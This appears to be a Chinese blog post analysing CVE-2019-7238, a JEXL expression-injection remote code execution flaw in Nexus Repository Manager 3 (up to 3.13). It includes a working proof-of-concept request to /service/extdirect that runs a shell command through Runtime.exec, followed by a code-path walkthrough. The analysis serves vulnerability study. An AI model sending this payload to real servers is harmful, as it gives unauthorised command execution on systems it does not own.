CVE-2019-7238分析,Nexus Repository Manager 3

介绍:Nexus Repository Manager是一个maven管理功能系统

影响版本:Nexus Repository Manager up to 3.13

漏洞类型:JEXL,可执行代码

所有漏洞来源于JexlExpression.evaluate方法,此方法可以执行任意jexl表达式,导致远程代码执行

POc:/service/extdirect

DATA:

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":

[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}


如下图所示我们所有的请求进入了 previewAssets,并且我们的表达式成功的进入方法

2跳入previewAsset方法如下图所示,经过一系列处理又进入了storageTx.countAssets方法,不难看出他是为了组合成一条sql语句


3 我们直接进入查询方法,生成的query语句如图所示,select count(*) from asset where (bucket=#16:0 or bucket=#15:1 or bucket=#15:3 or bucket=#15:2 or bucket=#16:2 or bucket=#15:0 or bucket=#16:1) and (contentExpression(@this, :jexlExpression, :repositorySelector, :repoToContainedGroupMap) == true)进入了他的,相当于一个模板执行语句,如图所示我们的jexlExpression已经传入
4我们可以看出 contentExpression是一个模板执行类,具体我不知道怎么实现,但是肯定返回的是true和false,作为这条sql语句的条件,所以们进去看看,我们不难发现最后一句是执行的true和false.从名字上看是判断是否有权限和jexl表达式是否执行成功


5漏洞产生的位置就是electorManager.evaluate,这个方法其实是JexlExpression。evaluate,也就是执行了我们的jexl我们可以看到,这里没有任何过滤等操作。里面的方法也只是判断力jexl合法性,并没有过滤危险参数,导致执行,
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容